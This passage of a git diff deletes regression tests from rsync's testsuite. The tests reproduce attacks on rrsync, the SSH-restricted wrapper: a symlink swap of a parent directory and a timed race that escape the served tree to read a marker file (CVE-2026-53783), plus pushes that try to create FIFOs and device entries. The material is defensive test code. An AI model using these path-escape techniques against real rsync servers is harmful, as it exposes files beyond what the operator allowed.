realpath() check redirects the read out of the tree -- which\n-is CVE-2026-53783.  The leaf is instead spelled beneath a pinned directory.\n-\n-rrsync-sender-leaf-flip races this with the real binary, but a race only ever\n-samples the window: zero leaks in 104 attempts still leaves a few per cent of\n-per-attempt risk unmeasured.  This test closes the window deterministically\n-instead.  A stub standing in for rsync inherits the pinned descriptor, then\n-blocks; the parent is swapped for a symlink pointing outside the tree while it\n-is blocked, so the substitution is guaranteed to be in place before the stub\n-resolves anything; the stub then reports what the argument actually names.\n-\n-With the parent pinned, the stub sees the original in-tree leaf no matter what\n-the tree now looks like.  Without it -- the bare name -- it sees whatever the\n-attacker's symlink points at.  So this fails outright if the pin is removed,\n-rather than depending on winning a race.\n-\n-Not asserted here: a --relative argument with no client \"/./\" anchors at the\n-restricted root rather than the leaf's parent, so its intermediate components\n-stay raceable.  That limit predates this and is stated in NEWS.\n-\"\"\"\n-\n-import os\n-import shlex\n-import stat\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, patched_rrsync, proc_self_fd_pins, rmtree, test_fail,\n-    test_skipped,\n-)\n-\n-if not proc_self_fd_pins():\n-    test_skipped(\"rrsync's inode pin needs /proc/self/fd (Linux); the \"\n-                 \"unhardened fallback elsewhere is by design\")\n-\n-MARKER = 'AUDIT_PARENT_PIN_MARKER_DO_NOT_DISCLOSE'\n-\n-base = SCRATCHDIR / 'rrsync-parent-pin'\n-rmtree(base)\n-restricted = base / 'restricted'\n-outside = base / 'outside'\n-makepath(restricted, outside)\n-\n-# What the attacker wants reached: same names as in the tree, but regular\n-# files holding the marker, so a leak is unmistakable in the stub's report.\n-outdir = outside / 'dir'\n-makepath(outdir)\n-(outdir / 'target').write_text(MARKER + '\\n')\n-(outdir / 'afifo').write_text(MARKER + '\\n')\n-\n-# In-tree: a dangling symlink and a FIFO, the two shapes rrsync never opens.\n-realdir = restricted / 'dir'\n-makepath(realdir)\n-os.symlink('missing-sibling', realdir / 'target')\n-os.mkfifo(realdir / 'afifo')\n-\n-ready = base / 'stub-ready'\n-go = base / 'stub-go'\n-report = base / 'stub-report'\n-\n-# The stub replaces rsync.  It signals that it is running -- with the pinned\n-# descriptor already inherited -- waits to be released, and only then resolves\n-# its source argument, which is the whole point: the swap below is guaranteed\n-# to have happened first.\n-stub = base / 'rsync-stub'\n-stub.write_text(f'''#!/usr/bin/env python3\n-import os, stat, sys, time\n-arg = sys.argv[-1]\n-open({str(ready)!r}, 'w').close()\n-for _ in range(600):\n-    if os.path.exists({str(go)!r}):\n-        break\n-    time.sleep(0.05)\n-try:\n-    st = os.lstat(arg)\n-except OSError as e:\n-    out = 'error %s' % e.strerror\n-else:\n-    if stat.S_ISLNK(st.st_mode):\n-        out = 'symlink %s' % os.readlink(arg)\n-    elif stat.S_ISFIFO(st.st_mode):\n-        out = 'fifo'\n-    elif stat.S_ISREG(st.st_mode):\n-        out = 'regular %s' % open(arg).read().strip()\n-    elif stat.S_ISDIR(st.st_mode):\n-        out = 'directory'\n-    else:\n-        out = 'other'\n-with open({str(report)!r}, 'w') as f:\n-    f.write('%s\\\\n%s\\\\n' % (arg, out))\n-''')\n-stub.chmod(0o755)\n-\n-rrsync = patched_rrsync(base, rsync_path=str(stub))\n-\n-evil = restricted / 'evil'\n-os.symlink(str(outdir), evil)\n-\n-\n-def resolve_with_parent_swapped(source):\n-    \"\"\"Run rrsync, swap `dir` for the outside symlink mid-flight, report.\"\"\"\n-    for p in (ready, go, report):\n-        if p.exists():\n-            p.unlink()\n-\n-    cmd = ('rsync --server --sender -logDtpre.iLsfxC . %s' % source)\n-    proc = subprocess.Popen(\n-        [str(rrsync), '-ro', str(restricted)],\n-        env={**os.environ, 'SSH_ORIGINAL_COMMAND': cmd},\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-    deadline = time.monotonic() + 30\n-    while time.monotonic() < deadline and not ready.exists():\n-        if proc.poll() is not None:\n-            break\n-        time.sleep(0.02)\n-    if not ready.exists():\n-        out = proc.communicate()[0]\n-        test_fail(f'the stub never ran for {source!r}, so nothing was tested '\n-                  f'(rc={proc.returncode}, output={out.strip()[:300]!r})')\n-\n-    # The stub is blocked with the pinned fd already inherited.  Swap the\n-    # parent for a symlink out of the tree -- guaranteed to be in place before\n-    # the stub resolves the argument.\n-    os.rename(realdir, base / 'stash')\n-    os.rename(evil, realdir)\n-\n-    go.touch()\n-    out = proc.communicate(timeout=60)[0]\n-\n-    # Put the tree back for the next case.\n-    os.rename(realdir, evil)\n-    os.rename(base / 'stash', realdir)\n-\n-    if not report.exists():\n-        test_fail(f'the stub produced no report for {source!r} '\n-                  f'(rc={proc.returncode}, output={out.strip()[:300]!r})')\n-    handed, saw = report.read_text().splitlines()\n-    return handed, saw\n-\n-\n-# --- control: the swap really does redirect an unpinned name -----------------\n-# Resolve the same relative name the way rsync would without a pin, while the\n-# substitution is in place.  If this does NOT reach the outside file, the\n-# construction is broken and the assertions below would prove nothing.\n-os.rename(realdir, base / 'stash')\n-os.rename(evil, realdir)\n-try:\n-    probe = os.path.join(str(restricted), 'dir/target')\n-    st = os.lstat(probe)\n-    if not stat.S_ISREG(st.st_mode) or MARKER not in open(probe).read():\n-        test_fail('control failed: with \"dir\" swapped, the bare name '\n-                  'dir/target does not reach the outside file, so this test '\n-                  'cannot tell a pinned resolution from an unpinned one')\n-finally:\n-    os.rename(realdir, evil)\n-    os.rename(base / 'stash', realdir)\n-\n-# --- the dangling symlink leaf ----------------------------------------------\n-handed, saw = resolve_with_parent_swapped('dir/target')\n-if saw != 'symlink missing-sibling':\n-    test_fail(f'a dangling-symlink leaf resolved to {saw!r} after its parent '\n-              f'was swapped for a symlink out of the tree; expected the '\n-              f'in-tree \"symlink missing-sibling\".  rsync was handed '\n-              f'{handed!r} -- an unpinned name puts every component back in '\n-              'play, which is CVE-2026-53783')\n-\n-# --- the FIFO leaf -----------------------------------------------------------\n-handed, saw = resolve_with_parent_swapped('dir/afifo')\n-if saw != 'fifo':\n-    test_fail(f'a FIFO leaf resolved to {saw!r} after its parent was swapped '\n-              f'for a symlink out of the tree; expected the in-tree \"fifo\".  '\n-              f'rsync was handed {handed!r}')\n-\n-print('a sender leaf rrsync never opens still resolves beneath its pinned '\n-      'parent when the parent is swapped out from under it')\ndiff --git a/testsuite/rrsync-specials-denied_test.py b/testsuite/rrsync-specials-denied_test.py\ndeleted file mode 100644\nindex 60d8372..0000000\n--- a/testsuite/rrsync-specials-denied_test.py\n+++ /dev/null\n@@ -1,225 +0,0 @@\n-#!/usr/bin/env python3\n-# Finding [26]: support/rrsync leaves -D / --specials enabled in a restricted\n-# (non-\"/\") directory, so a restricted SSH user can have the spawned rsync\n-# create special files (FIFOs, sockets; device nodes too if the receiver is\n-# privileged) inside the served tree -- objects the forced-command policy did\n-# not intend to permit, and that the user cannot otherwise create through the\n-# wrapper (it only runs rsync, not a shell).\n-#\n-# Part 1 shows --specials is the toggle that enables special-file creation (a\n-# FIFO is created with it, skipped without it).  Part 2 is the fix: a restricted\n-# rrsync no longer creates special files even when -D/--specials is requested.\n-#\n-# Rejecting -D outright broke plain `rsync -a` (which bundles -rlptgoD) for every\n-# restricted rrsync (see rrsync-archive-mode), so rather than reject the transfer\n-# the wrapper forces --drop-D, which refuses the creation (entries are skipped,\n-# exactly the part-1 \"without --specials\" behaviour) while the rest of the\n-# transfer proceeds.  Runs at any uid.\n-#\n-# It is --drop-D and not --no-D because --no-D also clears the rdev fields that\n-# devices and special files carry on the wire, and the wrapper sets it on one\n-# end of the connection only: the client's -D sender then writes rdev the\n-# receiver never reads and the file list desynchronises.  --drop-D withholds\n-# only the creation.\n-#\n-# The two directions are asserted separately, because they are not the same\n-# question.  Creation happens where files are WRITTEN, so only the receiving\n-# side can create anything in the served tree, and only there is there anything\n-# to deny.  Part 4 pins that down so the distinction cannot quietly collapse\n-# back into \"forced everywhere\".\n-\n-import os\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC, RSYNC_PREFIX, SCRATCHDIR, patched_rrsync, rmtree, rsync_argv,\n-    test_fail, xattr_set, xattrs_supported, rsync_path_arg,\n-)\n-\n-base = SCRATCHDIR / 'rrsync-specials'\n-rmtree(base)\n-src = base / 'src'\n-src.mkdir(parents=True)\n-os.mkfifo(src / 'evil_fifo')\n-(src / 'ordinary').write_text('PLAIN\\n')\n-\n-# --- Part 1: --specials enables special-file creation in the destination.\n-withd = base / 'with'\n-withd.mkdir()\n-subprocess.run(rsync_argv('-rlptgo', '--specials', f'{src}/', f'{withd}/'),\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-if not (withd / 'evil_fifo').is_fifo():\n-    test_fail(\"premise check failed: --specials should create the FIFO in the dest\")\n-without = base / 'without'\n-without.mkdir()\n-subprocess.run(rsync_argv('-rlptgo', f'{src}/', f'{without}/'),\n-               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-if (without / 'evil_fifo').exists():\n-    test_fail(\"premise check failed: without --specials the FIFO should be skipped\")\n-\n-# --- Part 2: a restricted rrsync accepts -D/--specials but forces --drop-D, so\n-# the special-file creation shown in part 1 cannot be requested through the\n-# wrapper.  Use an argv-recording stub rsync to confirm that the option is\n-# accepted (the `rsync -a` regression is gone), that --drop-D is forced, and\n-# that the client's own -D still reaches the server so both ends keep framing\n-# the file list the same way.\n-record = base / 'argv'\n-stub = base / 'rsync-record'\n-stub.write_text('#!/bin/sh\\nprintf \\'%s\\\\n\\' \"$@\" >' + str(record) + '\\n')\n-stub.chmod(0o755)\n-rrsync = patched_rrsync(base, rsync_path=str(stub))\n-restricted = base / 'restricted'\n-restricted.mkdir(exist_ok=True)\n-\n-def forwarded_opts(cmd):\n-    if record.exists():\n-        record.unlink()\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': cmd}\n-    r = subprocess.run([str(rrsync), str(restricted)], env=env,\n-                       capture_output=True, text=True)\n-    if r.returncode != 0:\n-        test_fail(f\"restricted rrsync rejected `{cmd}` instead of stripping \"\n-                  f\"the option (exit {r.returncode}): {r.stderr.strip()}\")\n-    return record.read_text().split('\\n') if record.exists() else []\n-\n-\n-for opt in ('-D', '--specials'):\n-    # Receiving side: this is the one that could create something here.\n-    forwarded = forwarded_opts(f'rsync --server {opt} . .')\n-    if '--drop-D' not in forwarded:\n-        test_fail(f\"restricted rrsync did not force --drop-D for `{opt}` on \"\n-                  f\"the receiving side, where creation happens: {forwarded}\")\n-    # ...and the client's own request must still reach the server, or the two\n-    # ends frame the file list's rdev fields differently and it desynchronises.\n-    if opt not in forwarded:\n-        test_fail(f\"restricted rrsync dropped `{opt}` instead of leaving it \"\n-                  f\"alongside --drop-D: {forwarded}\")\n-    if '--no-D' in forwarded:\n-        test_fail(f\"restricted rrsync forced --no-D for `{opt}`.  That clears \"\n-                  'preserve_devices/preserve_specials, which also frame the '\n-                  f'rdev fields, so the file list desynchronises: {forwarded}')\n-\n-# --- Part 3: the property, not just the option ------------------------------\n-# Part 2 checks what rrsync forwards.  This checks what that achieves: a push\n-# of a FIFO through a restricted rrsync must not create one in the tree.\n-served = base / 'served'\n-served.mkdir()\n-# A second wrapper in its own dir: patched_rrsync() always writes\n-# <workdir>/rrsync-under-test, and the one above is wired to the recording\n-# stub.  This one drives the real rsync -- through a shim, because RSYNC may\n-# be a multi-word command (the runner's --protocol=N, or valgrind) while\n-# rrsync hands its RSYNC to execlp() as a single executable name.\n-pushwrap = base / 'pushwrap'\n-pushwrap.mkdir()\n-shim = base / 'rsync-shim'\n-shim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' \"$@\"\\n')\n-shim.chmod(0o755)\n-rrsync_push = patched_rrsync(pushwrap, rsync_path=str(shim))\n-rsh = base / 'fake-rsh'\n-rsh.write_text(\n-    '#!/bin/sh\\n'\n-    'shift\\n'\n-    'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-    'export SSH_ORIGINAL_COMMAND\\n'\n-    'exec %s %s\\n' % (shlex.quote(str(rrsync_push)), shlex.quote(str(served))))\n-rsh.chmod(0o755)\n-\n-proc = subprocess.run(\n-    rsync_argv('-rlptgoD', '--specials', '-e', str(rsh), f'{src}/', 'dummy:.'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=120)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-# Control: the FIFO's absence only means something if the push otherwise\n-# worked.  A push that failed outright would \"deny\" the FIFO too.\n-landed = served / 'ordinary'\n-if not landed.is_file() or landed.read_text() != 'PLAIN\\n':\n-    test_fail(f'control failed: the push did not deliver an ordinary file, so '\n-              f'the absence of the FIFO proves nothing ({ctx})')\n-if (served / 'evil_fifo').exists():\n-    test_fail(f'a push through a restricted rrsync created a special file in '\n-              f'the served tree ({ctx})')\n-# The claim is \"denies creation while the rest proceeds normally\", so a\n-# refusal that also breaks the transfer does not satisfy it.\n-if proc.returncode != 0:\n-    test_fail(f'the FIFO was denied, but the transfer itself failed ({ctx})')\n-\n-# --- Part 3b: a DEVICE, which breaks at every protocol ----------------------\n-# A device carries its rdev at every protocol version -- unlike a FIFO, whose\n-# rdev field stops existing at 31 -- so a receiver whose preserve_devices\n-# disagrees with the sender's desynchronises the file list even on current\n-# protocols.  This needs no mknod privilege: rsync's own fake-super \"%stat\"\n-# xattr is what makes a file a device to rsync, at both ends.\n-#\n-# The RECEIVER runs --fake-super too, so it is able to record a device without\n-# privilege -- which is what makes this an assertion about DENIAL rather than\n-# about the transfer merely surviving.  Without the wrapper's refusal it lands\n-# a placeholder named \"achar\"; with it, the entry is skipped and nothing of\n-# that name exists.\n-if xattrs_supported():\n-    devsrc = base / 'devsrc'\n-    devsrc.mkdir()\n-    (devsrc / 'ordinary').write_text('PLAIN\\n')\n-    (devsrc / 'achar').write_bytes(b'')\n-    try:\n-        xattr_set(f'{RSYNC_PREFIX}.%stat', '20644 1,3 0:0', devsrc / 'achar')\n-        made_dev = True\n-    except Exception:\n-        made_dev = False\n-\n-    if made_dev:\n-        devserved = base / 'devserved'\n-        devserved.mkdir()\n-        # Its own wrapper, whose rsync runs --fake-super: patched_rrsync()\n-        # writes one file per workdir, and the push wrapper above must stay\n-        # ordinary.\n-        devwrap = base / 'devwrap'\n-        devwrap.mkdir()\n-        devshim = base / 'rsync-shim-fake'\n-        devshim.write_text('#!/bin/sh\\nexec ' + rsync_path_arg(RSYNC) + ' --fake-super \"$@\"\\n')\n-        devshim.chmod(0o755)\n-        rrsync_dev = patched_rrsync(devwrap, rsync_path=str(devshim))\n-        devrsh = base / 'fake-rsh-dev'\n-        devrsh.write_text(\n-            '#!/bin/sh\\n'\n-            'shift\\n'\n-            'SSH_ORIGINAL_COMMAND=\"$*\"\\n'\n-            'export SSH_ORIGINAL_COMMAND\\n'\n-            'exec %s %s\\n' % (shlex.quote(str(rrsync_dev)),\n-                               shlex.quote(str(devserved))))\n-        devrsh.chmod(0o755)\n-        proc = subprocess.run(\n-            rsync_argv('--fake-super', '-rlptgoD', '--specials', '-e',\n-                       str(devrsh), f'{devsrc}/', 'dummy:.'),\n-            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-            timeout=120)\n-        ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-        landed = devserved / 'ordinary'\n-        if not landed.is_file() or landed.read_text() != 'PLAIN\\n':\n-            test_fail(f'control failed: pushing a tree containing a device did '\n-                      f'not deliver the ordinary file beside it, so nothing '\n-                      f'below proves anything.  Clearing preserve_devices on '\n-                      f'the receiver alone desynchronises the file list at '\n-                      f'EVERY protocol, which fails the whole transfer ({ctx})')\n-        if os.path.lexists(devserved / 'achar'):\n-            test_fail(f'a push through a restricted rrsync recorded a device in '\n-                      f'the served tree ({ctx})')\n-        if proc.returncode != 0:\n-            test_fail(f'the device was denied, but the transfer itself failed '\n-                      f'({ctx})')\n-\n-# --- Part 4: and NOT on the sending side ------------------------------------\n-# Forcing it there denies nothing (a sender creates nothing) while breaking the\n-# file list, because only one end of the connection gets the option.\n-for opt in ('-D', '--specials'):\n-    forwarded = forwarded_opts(f'rsync --server --sender {opt} . .')\n-    for forced in ('--drop-D', '--no-D'):\n-        if forced in forwarded:\n-            test_fail(f\"restricted rrsync forced {forced} for `{opt}` on the \"\n-                      'SENDING side, where there is nothing to deny: a sender '\n-                      'creates no device or special entry in the served tree '\n-                      f'({forwarded})')\n-\n-print(\"rrsync-specials: --specials creates special files in the served tree; \"\n-      \"a restricted rrsync forces --drop-D on the receiving side (a push can \"\n-      \"create neither a special nor a device, and the transfer still \"\n-      \"succeeds) and leaves the sending side alone\")\ndiff --git a/testsuite/rrsync-symlink_test.py b/testsuite/rrsync-symlink_test.py\ndeleted file mode 100644\nindex e69d295..0000000\n--- a/testsuite/rrsync-symlink_test.py\n+++ /dev/null\n@@ -1,151 +0,0 @@\n-#!/usr/bin/env python3\n-# rrsync (the SSH-restricted-rsync wrapper) must close its realpath-vs-exec\n-# TOCTOU window so an attacker cannot flip a path component after rrsync's\n-# validation but before the spawned rsync resolves it.\n-#\n-# Threat: support/rrsync does\n-#       real_arg = os.path.realpath(arg)\n-#       if arg != real_arg and not real_arg.startswith(args.dir_slash):\n-#           die('unsafe arg:', ...)\n-# and then runs rsync against the same arg string. Between realpath() and the\n-# spawned rsync's resolution of the path, an attacker can flip a component from\n-# a real entry (which passes realpath) to a symlink escaping the restricted\n-# dir. rsync then transfers data from / to outside the restricted dir.\n-#\n-# This is a TOCTOU race; static plants are caught by realpath. The fix pins the\n-# validated inode with os.open(O_RDONLY|O_NOFOLLOW) + os.fstat() during\n-# validation and hands rsync a name rooted at that pinned fd, so the resolution\n-# is atomic with the check.\n-#\n-# WHAT THIS TEST FLIPS, AND WHY IT IS A DIRECTORY COMPONENT\n-#\n-# rrsync pins every component ABOVE the argument's last one, in both\n-# directions, and that is what this exercises: an intermediate directory is\n-# swapped for a symlink pointing outside the tree.\n-#\n-# It deliberately does not flip the LAST component, because rrsync does not\n-# always pin that one and the stub below could not judge it if it did:\n-#   * a receiver destination that does not exist yet has no inode to pin, so\n-#     the leaf is necessarily still resolved by name -- that is what creating a\n-#     file means;\n-#   * a sender source cannot be handed a /proc/self/fd magic link at all: rsync\n-#     lstat()s a source argument, sees S_IFLNK, and sends a symlink instead of\n-#     the file (see rrsync-pull-delivers-content).\n-# Leaf behaviour is therefore asserted against the real binary in\n-# rrsync-sender-leaf-flip, which can observe what rsync actually does with a\n-# raced leaf rather than what this stub assumes.\n-#\n-# Sender direction only. The receiver has a residual window this cannot yet\n-# assert: when the destination leaf does not exist -- including the instant\n-# between the flipper's two renames -- rrsync falls back to pinning the parent,\n-# and if THAT open also loses the race it passes the argument through unpinned.\n-# Measured over a 5s race, this stub's \"rsync\" reached the outside marker 8\n-# times as a sender and 11 as a receiver against a pristine 3.4.4 rrsync; with\n-# the inode pin it is 0 as a sender and still 2 as a receiver, on the branch\n-# base as well as with the sender fix. The receiver fallback predates this\n-# change and is tracked separately.\n-#\n-# Test machinery:\n-#   * The system rrsync hardcodes RSYNC = '/usr/bin/rsync'; we copy it\n-#     to scratch and patch RSYNC to a tiny \"fake rsync\" stub whose only\n-#     job is to open its last argv (the validated path) and emit its\n-#     content. The race signal is whether the fake rsync ever emits the\n-#     attacker's outside-the-tree secret. For an intermediate component the\n-#     stub is a faithful model: whatever rsync does with the final name, it\n-#     must not be able to reach it through a flipped parent.\n-#   * A flipper subprocess (rsyncfns.start_path_flipper) swaps the\n-#     restricted dir's 'dir' name between (a) a real directory and (b) a\n-#     symlink to the outside tree. The flip is rename-based and atomic.\n-#   * We loop rrsync invocations for up to RACE_TIMEOUT seconds; observing\n-#     the secret marker in ANY iteration's stdout is the leak signal.\n-#\n-# Runs at any uid (the race is timing-only, not ownership-based).\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    race_budget, SCRATCHDIR, patched_rrsync, proc_self_fd_pins, rmtree,\n-    start_path_flipper, stop_flipper, test_fail, test_skipped,\n-)\n-\n-# rrsync closes this realpath-vs-exec TOCTOU by inode-pinning through\n-# /proc/self/fd (Linux-only).  Where that primitive is absent (the BSDs, Solaris,\n-# macOS, Cygwin) rrsync falls through unpinned by design, so the race is not\n-# closed and this test cannot pass -- skip rather than report the intended gap.\n-if not proc_self_fd_pins():\n-    test_skipped(\"rrsync's realpath-vs-exec inode-pin needs /proc/self/fd \"\n-                 \"(Linux); unhardened fallback elsewhere by design\")\n-\n-\n-MARKER = b\"AUDIT_RRSYNC_RACE_LEAK_MARKER_DO_NOT_DISCLOSE\"\n-\n-base = SCRATCHDIR / 'rrsync_race'\n-restricted = base / 'restricted'\n-outside = base / 'outside'\n-rmtree(base)\n-restricted.mkdir(parents=True)\n-outside.mkdir(parents=True)\n-\n-# Same leaf name on both sides, so the ONLY thing that decides which file the\n-# spawned rsync reaches is which inode the 'dir' component resolved to.\n-(outside / 'target').write_bytes(MARKER)\n-\n-# Two sibling names in the restricted dir that the flipper swaps, so the 'dir'\n-# component alternates between a real directory and a symlink escaping the\n-# tree.  We use distinct setup names that the flipper then rotates -- the same\n-# shape symlink-race-source/dest use.\n-real_dir = restricted / 'dir'\n-real_dir.mkdir()\n-(real_dir / 'target').write_bytes(b\"benign_in_tree_content\\n\")\n-evil_path = restricted / 'evil'\n-os.symlink(str(outside), evil_path)\n-\n-# Fake rsync stub: prints the bytes at its last argv (the path rrsync passed).\n-fake_rsync = base / 'fake_rsync'\n-fake_rsync.write_text(\n-    \"#!/usr/bin/env python3\\n\"\n-    \"import sys\\n\"\n-    \"try:\\n\"\n-    \"    with open(sys.argv[-1], 'rb') as f:\\n\"\n-    \"        sys.stdout.buffer.write(f.read())\\n\"\n-    \"except OSError:\\n\"\n-    \"    pass\\n\"\n-)\n-fake_rsync.chmod(0o755)\n-\n-# Patched rrsync: RSYNC → fake_rsync (via the shared, path-robust helper).\n-test_rrsync = patched_rrsync(base, rsync_path=str(fake_rsync))\n-\n-\n-def race(rrsync_flags, ssh_cmd):\n-    \"\"\"Run rrsync in a loop against the flipping tree; True if the secret leaked.\"\"\"\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ssh_cmd}\n-    deadline = time.monotonic() + race_budget()\n-    while time.monotonic() < deadline:\n-        proc = subprocess.run(\n-            [str(test_rrsync), *rrsync_flags, '-no-lock', str(restricted)],\n-            stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, env=env)\n-        if MARKER in proc.stdout:\n-            return True\n-    return False\n-\n-\n-flip = start_path_flipper(real_dir, evil_path)\n-try:\n-    leaked = race(['-ro'], \"rsync --server --sender -lt . dir/target\")\n-finally:\n-    stop_flipper(flip)\n-\n-if leaked:\n-    test_fail(\n-        \"rrsync realpath-vs-exec TOCTOU: an intermediate path component \"\n-        \"(real directory -> symlink to the outside tree) was followed by the \"\n-        f\"spawned rsync; the secret marker {MARKER!r} was emitted, proving \"\n-        \"the path was resolved AFTER rrsync's realpath check validated it. \"\n-        \"Fix: pin the validated inode with os.open(O_RDONLY|O_NOFOLLOW) + \"\n-        \"os.fstat() during validation, then root the argument handed to rsync \"\n-        \"at that pinned fd.\")\n-\n-print('rrsync pins intermediate sender path components against the realpath-vs-exec race')\ndiff --git a/testsuite/rrsync-userns-procfs_test.py b/testsuite/rrsync-userns-procfs_test.py\ndeleted file mode 100644\nindex 7bd1cdb..0000000\n--- a/testsuite/rrsync-userns-procfs_test.py\n+++ /dev/null\n@@ -1,145 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A confined fd pin must remain usable inside a Linux user namespace.\"\"\"\n-\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-import sys\n-import tempfile\n-from pathlib import Path\n-\n-from rsyncfns import makepath, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if not sys.platform.startswith('linux'):\n-    test_skipped('rrsync-userns-procfs is Linux-specific')\n-\n-if not os.environ.get('RSYNC_USERNS_PROCFS'):\n-    unshare = shutil.which('unshare')\n-    if unshare is None:\n-        test_skipped('unshare is unavailable')\n-    env = os.environ.copy()\n-    env['RSYNC_USERNS_PROCFS'] = '1'\n-    launch_dir = Path(tempfile.mkdtemp(prefix='rsync-userns-launch-'))\n-    launch_dir.chmod(0o755)\n-    testdir = Path(__file__).resolve().parent\n-    child_test = launch_dir / Path(__file__).name\n-    for source in (Path(__file__), testdir / 'rsyncfns.py',\n-                   testdir / 'exitcodes.py'):\n-        shutil.copy2(source, launch_dir / source.name)\n-    rsync_cmd = shlex.split(env['RSYNC'])\n-    for i, arg in enumerate(rsync_cmd):\n-        if Path(arg).name in ('rsync', 'rsync.exe') and Path(arg).is_file():\n-            staged_rsync = launch_dir / Path(arg).name\n-            shutil.copy2(arg, staged_rsync)\n-            staged_rsync.chmod(0o755)\n-            rsync_cmd[i] = str(staged_rsync)\n-            break\n-    else:\n-        rmtree(launch_dir)\n-        test_fail(f'cannot locate the rsync executable in {env[\"RSYNC\"]!r}')\n-    env['RSYNC'] = shlex.join(rsync_cmd)\n-    launcher = []\n-    if os.geteuid() == 0:\n-        setpriv = shutil.which('setpriv')\n-        if setpriv is None:\n-            test_skipped('setpriv is unavailable for the root-run testsuite')\n-        launcher = [setpriv, '--reuid=65534', '--regid=65534', '--clear-groups']\n-    unshare_argv = [unshare, '--user', '--map-root-user', '--mount', '--pid',\n-                    '--fork', '--mount-proc']\n-    probe = subprocess.run(\n-        launcher + unshare_argv + ['true'],\n-        stdin=subprocess.DEVNULL,\n-        stdout=subprocess.DEVNULL,\n-        stderr=subprocess.DEVNULL,\n-    )\n-    if probe.returncode != 0:\n-        rmtree(launch_dir)\n-        print(f'user namespaces unavailable (rc={probe.returncode})')\n-        raise SystemExit(0)\n-    try:\n-        proc = subprocess.run(\n-            launcher + unshare_argv\n-            + [sys.executable, str(child_test)],\n-            env=env,\n-            timeout=30,\n-        )\n-    except subprocess.TimeoutExpired:\n-        test_fail('user-namespace regression test timed out')\n-    finally:\n-        rmtree(launch_dir)\n-    if proc.returncode != 0:\n-        test_fail(f'user-namespace regression test failed (rc={proc.returncode})')\n-    print('rrsync fd pin works inside a user namespace')\n-    raise SystemExit(0)\n-\n-proc_uid = os.lstat('/proc/self').st_uid\n-if proc_uid in (0, os.geteuid()):\n-    test_skipped('/proc/self does not expose an overflow uid in this namespace')\n-\n-base = Path(tempfile.mkdtemp(prefix='rsync-userns-procfs-'))\n-root = base / 'root'\n-src = root / 'src'\n-dest = root / 'dest'\n-outside = base / 'outside'\n-makepath(src, dest, outside)\n-(src / 'file').write_text('content\\n')\n-\n-fd_roots = ['/proc/self/fd']\n-if Path('/dev/fd').exists():\n-    fd_roots.append('/dev/fd')\n-\n-dest_fd = os.open(dest, os.O_RDONLY | os.O_DIRECTORY)\n-try:\n-    for index, fd_root in enumerate(fd_roots):\n-        log_file = dest / f'rsync-{index}.log'\n-        proc = subprocess.run(\n-            rsync_argv('-a', f'--confine-root={dest}',\n-                       f'--log-file={fd_root}/{dest_fd}/{log_file.name}',\n-                       str(src) + '/', str(dest) + '/'),\n-            pass_fds=(dest_fd,),\n-            capture_output=True,\n-            text=True,\n-        )\n-        ctx = (f'fd_root={fd_root!r}, rc={proc.returncode}, '\n-               f'stderr={proc.stderr.strip()[:300]!r}')\n-        if proc.returncode != 0:\n-            test_fail(f'confined transfer through an fd pin failed ({ctx})')\n-        if not log_file.is_file():\n-            test_fail(f'confined log path through an fd pin was rejected ({ctx})')\n-        if (dest / 'file').read_text() != 'content\\n':\n-            test_fail(f'confined transfer did not deliver the file ({ctx})')\n-finally:\n-    os.close(dest_fd)\n-\n-backup_dir = root / 'backup'\n-backup_dir.symlink_to(outside)\n-(dest / 'test').write_text('old_content\\n')\n-(src / 'test').write_text('new_different_content\\n')\n-\n-(outside / 'test').write_text('existing_backup\\n')\n-\n-# Open an FD pointing to the confined root\n-root_fd = os.open(root, os.O_RDONLY | os.O_DIRECTORY)\n-try:\n-    for fd_root in fd_roots:\n-        proc = subprocess.run(\n-            rsync_argv('-a', '--backup', f'--confine-root={root}',\n-                       f'--backup-dir={fd_root}/{root_fd}/backup/',\n-                       str(src) + '/', str(dest) + '/'),\n-            pass_fds=(root_fd,),\n-            capture_output=True,\n-            text=True,\n-        )\n-\n-        # The transfer must fail because rsync attempts to unlink the pre-existing target file,\n-        # forcing the path-walker to evaluate the FD pin + symlink and catching the escape.\n-        if proc.returncode == 0:\n-            test_fail(f'backup to outside symlink via {fd_root} pin was not observably refused: '\n-                      f'rc={proc.returncode}, stderr={proc.stderr!r}')\n-finally:\n-    os.close(root_fd)\n-\n-rmtree(base)\n-\ndiff --git a/testsuite/rrsync-write-only-files-from_test.py b/testsuite/rrsync-write-only-files-from_test.py\ndeleted file mode 100644\nindex 3d24f99..0000000\n--- a/testsuite/rrsync-write-only-files-from_test.py\n+++ /dev/null\n@@ -1,68 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A forced rrsync -wo endpoint must not return a local --files-from file.\"\"\"\n-\n-import os\n-import shlex\n-import signal\n-import subprocess\n-import sys\n-\n-signal.signal(signal.SIGUSR1, signal.SIG_IGN)\n-signal.signal(signal.SIGUSR2, signal.SIG_IGN)\n-if '--shell' in sys.argv:\n-    i = sys.argv.index('--shell') + 2\n-    env = {**os.environ, 'SSH_ORIGINAL_COMMAND': ' '.join(sys.argv[i:])}\n-    signal.signal(signal.SIGUSR1, signal.SIG_DFL)\n-    signal.signal(signal.SIGUSR2, signal.SIG_DFL)\n-    wrapper, root = env['RRSYNC_WRAPPER'], env['RRSYNC_ROOT']\n-    os.execve(wrapper, [wrapper, '-wo', '-no-lock', root], env)\n-\n-from rsyncfns import RSYNC, 